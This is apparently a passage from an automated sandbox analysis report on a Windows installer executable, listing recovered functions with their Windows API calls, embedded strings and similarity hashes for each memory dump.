Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: PrivateProfileStringWrite
String ID: .tmp$MoveFileEx$NUL$WININIT.INI$[rename]
API String ID: 390214022-3304407042
Opcode ID: 1357a6a6f4ac0e338640df696ce31ab3616580a8c460ec0e97379f23ea9106e4
Instruction ID: 7d9515a221cbc80ce02f792d78276580e8b66b65743a39b66aad4c04d9ca5984
Opcode Fuzzy Hash: 1357a6a6f4ac0e338640df696ce31ab3616580a8c460ec0e97379f23ea9106e4
Instruction Fuzzy Hash: E7812B70A40209AFDF14EBE4D882BDEBBB6FF84304F504569E800B7291D778AE45CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00408E18, Relevance: 10.6, APIs: 7, Instructions: 130threadCOMMON

Download Yara Rule

APIs

Part of subcall function 004092D8: GetCurrentThreadId.KERNEL32 ref: 004092DB

GetTickCount.KERNEL32 ref: 00408E4F
GetTickCount.KERNEL32 ref: 00408E67
GetCurrentThreadId.KERNEL32 ref: 00408E96
GetTickCount.KERNEL32 ref: 00408EC1
GetTickCount.KERNEL32 ref: 00408EF8
GetTickCount.KERNEL32 ref: 00408F22
GetCurrentThreadId.KERNEL32 ref: 00408F92

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: CountTick$CurrentThread
String ID:
API String ID: 3968769311-0
Opcode ID: 6ac2be8b98c6d59f6bfb7c2bc899f414c467b6e539e9ece706351b94971b3cf7
Instruction ID: 6a262f9eb7bf8d50cb6d4ed5a75cfeecc0694df2e1247547c03083db5600c3d5
Opcode Fuzzy Hash: 6ac2be8b98c6d59f6bfb7c2bc899f414c467b6e539e9ece706351b94971b3cf7
Instruction Fuzzy Hash: C74171712087429ED721AF78CA4031FBAD2AF94354F15897EE4D9D72C2DB7C9881874A

Uniqueness

Uniqueness Score: -1.00%

Function 006A490C, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 72fileCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,GetFinalPathNameByHandleW), ref: 006A4938
GetFileAttributesW.KERNEL32(00000000,00000000,kernel32.dll,GetFinalPathNameByHandleW), ref: 006A4951
CreateFileW.KERNEL32(00000000,00000000,00000007,00000000,00000003,00000000,00000000,00000000,00000000,kernel32.dll,GetFinalPathNameByHandleW), ref: 006A497B
CloseHandle.KERNEL32(00000000), ref: 006A4999

Strings

GetFinalPathNameByHandleW, xrefs: 006A492E
kernel32.dll, xrefs: 006A4933

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: FileHandle$AttributesCloseCreateModule
String ID: GetFinalPathNameByHandleW$kernel32.dll
API String ID: 791737717-340263132
Opcode ID: c30da59f00c820024e70c880675d15fde28480a3c49d4aa53f664564d4a3bb17
Instruction ID: 721dd7993c735447edb6cc92a4eac4eb3665cfe7763642c980e607850eaa0253
Opcode Fuzzy Hash: c30da59f00c820024e70c880675d15fde28480a3c49d4aa53f664564d4a3bb17
Instruction Fuzzy Hash: A711086078030427F520717B5C8AFBB268E8BD376DF10023ABA18DA3C3EDD99D52059E

Uniqueness

Uniqueness Score: -1.00%

Function 00408BB4, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 63libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,GetLogicalProcessorInformation), ref: 00408BC9
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00408BCF
GetLastError.KERNEL32(00000000,?,GetLogicalProcessorInformation), ref: 00408BEB

Strings

@, xrefs: 00408C69
GetLogicalProcessorInformation, xrefs: 00408BBF
kernel32.dll, xrefs: 00408BC4

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressErrorHandleLastModuleProc
String ID: @$GetLogicalProcessorInformation$kernel32.dll
API String ID: 4275029093-79381301
Opcode ID: d2b5bb259a4a67909b9857f382d53dc443368d34a06db9e148c60c099e14fc22
Instruction ID: fae384035c4cbf403bb6e842233c038de7d928fc1d1ef8a2a4529768a9174d83
Opcode Fuzzy Hash: d2b5bb259a4a67909b9857f382d53dc443368d34a06db9e148c60c099e14fc22
Instruction Fuzzy Hash: E4117570D05208AEEF10EBA5DA45A6EB7F4DB44704F1084BFE454B72C1DF7D8A548B29

Uniqueness

Uniqueness Score: -1.00%

Function 00409E60, Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,?,00000000,?,00409F18,?,?,?,0040A032,0040701B,00407062,?,?,0040707B), ref: 00409E99
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,?,00000000,?,00409F18,?,?,?,0040A032,0040701B,00407062,?,?), ref: 00409E9F
GetStdHandle.KERNEL32(000000F5,00000000,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,?,00000000,?,00409F18,?,?,?), ref: 00409EBA
WriteFile.KERNEL32(00000000,000000F5,00000000,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,?,00000000,?,00409F18,?,?), ref: 00409EC0

Strings

Runtime error at 00000000, xrefs: 00409E92, 00409ED7
Error, xrefs: 00409ED2

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: FileHandleWrite
String ID: Error$Runtime error at 00000000
API String ID: 3320372497-2970929446
Opcode ID: 045d3ad08753bf338bfa42345213cc89658a5cf1a888b84c100e5d4f8ba8bf1a
Instruction ID: 268cd0542ea206bc9f0d4c864baa5783ee04774fe02170aeb16690cb3bd490d1
Opcode Fuzzy Hash: 045d3ad08753bf338bfa42345213cc89658a5cf1a888b84c100e5d4f8ba8bf1a
Instruction Fuzzy Hash: CAF044A0A4438079FB10F7A19C57F7B2729D741B14F14152FB214791D2C6BD5CC48AA9

Uniqueness

Uniqueness Score: -1.00%

Function 00431714, Relevance: 9.1, APIs: 6, Instructions: 144COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 004317C9
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 004317E5
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 0043181E
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 0043189B
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 004318B4
VariantCopy.OLEAUT32(?,?), ref: 004318EF

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-0
Opcode ID: 040e7940f355aaa7652d1378d9b08393b08e43244b2170bcb39dc03bfc7fe70c
Instruction ID: d043b24a0edc3b3be54f954eb6f8b3249bac98b3ef8f213e332385a6eed1b33d
Opcode Fuzzy Hash: 040e7940f355aaa7652d1378d9b08393b08e43244b2170bcb39dc03bfc7fe70c
Instruction Fuzzy Hash: 0951ED75A012299FCB26DB59CC91BDAB3FCAF4C304F4451EAE508E7211D634AF858F68

Uniqueness

Uniqueness Score: -1.00%

Function 006AD100, Relevance: 9.1, APIs: 6, Instructions: 66COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 006AD11C
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097,?,000000EC,?,006B6179,00000000,006B6AB5), ref: 006AD14B
GetWindowLongW.USER32(?,000000EC), ref: 006AD160
SetWindowLongW.USER32(?,000000EC,00000000), ref: 006AD187
ShowWindow.USER32(?,00000005,?,000000EC,00000000,?,000000EC,?,00000000,00000000,00000000,00000000,00000000,00000097,?,000000EC), ref: 006AD1A0
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000057,?,000000EC,00000000,?,000000EC,?,00000000,00000000,00000000), ref: 006AD1C1

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Long$Show
String ID:
API String ID: 3609083571-0
Opcode ID: 8c15675f462a7cdb815d276fd5399c83959d586331ff738c09226122516c88e8
Instruction ID: e0796330955e18cad47395dd65cec407d9ab9d814e750fdff8721624bbe0e900
Opcode Fuzzy Hash: 8c15675f462a7cdb815d276fd5399c83959d586331ff738c09226122516c88e8
Instruction Fuzzy Hash: 9F114C75B45200AFC700EB68DC81FE277E9AB8E710F058296FA158B3F2CB75AC409B40

Uniqueness

Uniqueness Score: -1.00%

Function 00405A04, Relevance: 9.0, APIs: 7, Instructions: 298sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000,000000FF,004062A4,00000000,0040F3A7,00000000,0040F8B5,00000000,0040FB77,00000000,0040FBAD), ref: 00405ABB
Sleep.KERNEL32(0000000A,00000000,000000FF,004062A4,00000000,0040F3A7,00000000,0040F8B5,00000000,0040FB77,00000000,0040FBAD), ref: 00405AD1
Sleep.KERNEL32(00000000,00000000,?,000000FF,004062A4,00000000,0040F3A7,00000000,0040F8B5,00000000,0040FB77,00000000,0040FBAD), ref: 00405AFF
Sleep.KERNEL32(0000000A,00000000,00000000,?,000000FF,004062A4,00000000,0040F3A7,00000000,0040F8B5,00000000,0040FB77,00000000,0040FBAD), ref: 00405B15

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: e7e71c79c8b2f7f4141069f16e0a27a38b71a8b4eb915ec7efac4787ea8505e0
Instruction ID: cf671527993281747ba66e579e9841af11c1d4a0360e4ae8ae7f13ecf7528b2d
Opcode Fuzzy Hash: e7e71c79c8b2f7f4141069f16e0a27a38b71a8b4eb915ec7efac4787ea8505e0
Instruction Fuzzy Hash: 3EC1F072601B518FDB15CF69E884727BBA2FB85310F08827FD4159B3D5C2B9A841CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00615224, Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 239windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 006152A1
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 006152C8
SetForegroundWindow.USER32(?,00000000,006155A0,?,00000000,006155DE), ref: 006152D9
DefWindowProcW.USER32(00000000,?,?,?,00000000,006155A0,?,00000000,006155DE), ref: 0061558B

Strings

Cannot evaluate variable because [Code] isn't running yet, xrefs: 00615413

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: MessagePostWindow$ForegroundProc
String ID: Cannot evaluate variable because [Code] isn't running yet
API String ID: 602442252-3182603685
Opcode ID: ad64c6b591af40ea4ba5f545b99f93c9333cd1e0c09a555d573a4fe1ca73c04e
Instruction ID: d9496450f22983edaa4d95273014296636a6dee02a04e0b8031e0d1d01461ad4
Opcode Fuzzy Hash: ad64c6b591af40ea4ba5f545b99f93c9333cd1e0c09a555d573a4fe1ca73c04e
Instruction Fuzzy Hash: 4291E134A04A04EFD711CF29D851F99FBF7EB89700F1584AAF8069B7A1D638AD84CB14

Uniqueness

Uniqueness Score: -1.00%

Function 006B7254, Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 102COMMON

Download Yara Rule

APIs

Part of subcall function 005B8250: SetWindowTextW.USER32(?,00000000), ref: 005B8281

ShowWindow.USER32(?,00000005,00000000,006B750A,?,?,00000000), ref: 006B729A

Part of subcall function 005C61D8: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 005C61EB

Part of subcall function 00424018: SetCurrentDirectoryW.KERNEL32(00000000,?,006B72C2,00000000,006B74D1,?,?,00000005,00000000,006B750A,?,?,00000000), ref: 00424023

Part of subcall function 005C5D2C: GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000000,005C5DC1,?,?,?,00000001,?,0060FCDE,00000000,0060FD49), ref: 005C5D61

Strings

IMsg, xrefs: 006B736E
Uninstall, xrefs: 006B7280
.dat, xrefs: 006B72E1
.msg, xrefs: 006B7300

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: DirectoryWindow$CurrentFileModuleNameShowSystemText
String ID: .dat$.msg$IMsg$Uninstall
API String ID: 3312786188-1660910688
Opcode ID: 9bac32933d93267d62a0efbfbf38caf58aabf4bae368766dc52fc197654038be
Instruction ID: 9c0d9b5f261d395dc086ceef7e8291460dcd09bff1b52f9da0bdf24afaf5186f
Opcode Fuzzy Hash: 9bac32933d93267d62a0efbfbf38caf58aabf4bae368766dc52fc197654038be
Instruction Fuzzy Hash: 5841A274A006159FC700EFA4CC52E9EBBF6FBC8300B508465F801A7761DB34AE40DB55

Uniqueness

Uniqueness Score: -1.00%

Function 006248D0, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32 ref: 00624902
GetExitCodeProcess.KERNEL32 ref: 00624925
CloseHandle.KERNEL32(?,00624958,00000001,00000000,000000FF,000004FF,00000000,00624951), ref: 0062494B

Strings

GetExitCodeProcess, xrefs: 0062492E
MsgWaitForMultipleObjects, xrefs: 00624911

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCodeExitHandleMultipleObjectsProcessWait
String ID: GetExitCodeProcess$MsgWaitForMultipleObjects
API String ID: 2573145106-3235461205
Opcode ID: cc9e249baa6994b2598d9c694f2ef55ea7c7b9f658000726c2725fa3f68a5bce
Instruction ID: a132d3f15b3ed1f1d80a1d3b4c170ebef992d73a30201ff541600c1582f6e0c9
Opcode Fuzzy Hash: cc9e249baa6994b2598d9c694f2ef55ea7c7b9f658000726c2725fa3f68a5bce
Instruction Fuzzy Hash: 07018470E04604AFD710DBA99952A9E77AAEB4A724B600265F524D73D0DE34DD40CA15

Uniqueness

Uniqueness Score: -1.00%

Function 004070B0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(00000105,?), ref: 004070E7
SetCurrentDirectoryW.KERNEL32(?,00000105,?), ref: 004070ED
GetCurrentDirectoryW.KERNEL32(00000105,?), ref: 004070FC
SetCurrentDirectoryW.KERNEL32(?,00000105,?), ref: 0040710D

Strings

:, xrefs: 004070CC

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: aa9707b4d0d9c5d03511b22bbefae7383822b12ede650e628390a7387f8948e9
Instruction ID: 4e46778bef482c884a40b6a77bd37b1cdf5980326a29a022de95e28d89e8e0a5
Opcode Fuzzy Hash: aa9707b4d0d9c5d03511b22bbefae7383822b12ede650e628390a7387f8948e9
Instruction Fuzzy Hash: 71F0627154474465D310E7658852BDB729CDF84348F04843E76C89B2D1E6BC5948979B

Uniqueness

Uniqueness Score: -1.00%

Function 0059BDE0, Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40b3b5ba3f34c12df063ee6c251904e89849e49180af3165c918a28def48443d
Instruction ID: 706b2e572761d8ad47ba34f54f722de4143ff6edab11ef8c4ec80c26a390842e
Opcode Fuzzy Hash: 40b3b5ba3f34c12df063ee6c251904e89849e49180af3165c918a28def48443d
Instruction Fuzzy Hash: C211A26060425956FF706A7A6F09BEA3F9C7FD1745F050429BE41AB283CB38CC458BA0

Uniqueness

Uniqueness Score: -1.00%

Function 005B631C, Relevance: 7.5, APIs: 5, Instructions: 39threadCOMMON

Download Yara Rule

APIs

UnhookWindowsHookEx.USER32(00000000), ref: 005B632E
SetEvent.KERNEL32(00000000), ref: 005B635A
GetCurrentThreadId.KERNEL32 ref: 005B635F
MsgWaitForMultipleObjects.USER32 ref: 005B6388
CloseHandle.KERNEL32(00000000,00000000), ref: 005B6395

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCurrentEventHandleHookMultipleObjectsThreadUnhookWaitWindows
String ID:
API String ID: 2132507429-0
Opcode ID: e94e872c21a9411d187f10d741ef09094218303874320b298fc11e20b5f9e78e
Instruction ID: cd3b1eb59f2816b39bfe75ca0595b4a5fb52581fa55038232e58a65bf6996549
Opcode Fuzzy Hash: e94e872c21a9411d187f10d741ef09094218303874320b298fc11e20b5f9e78e
Instruction Fuzzy Hash: AE016D70A09300AFD700EBA5EC45BAA37E5FB46714F105A2EF194C71D1DF38A880CB42

Uniqueness

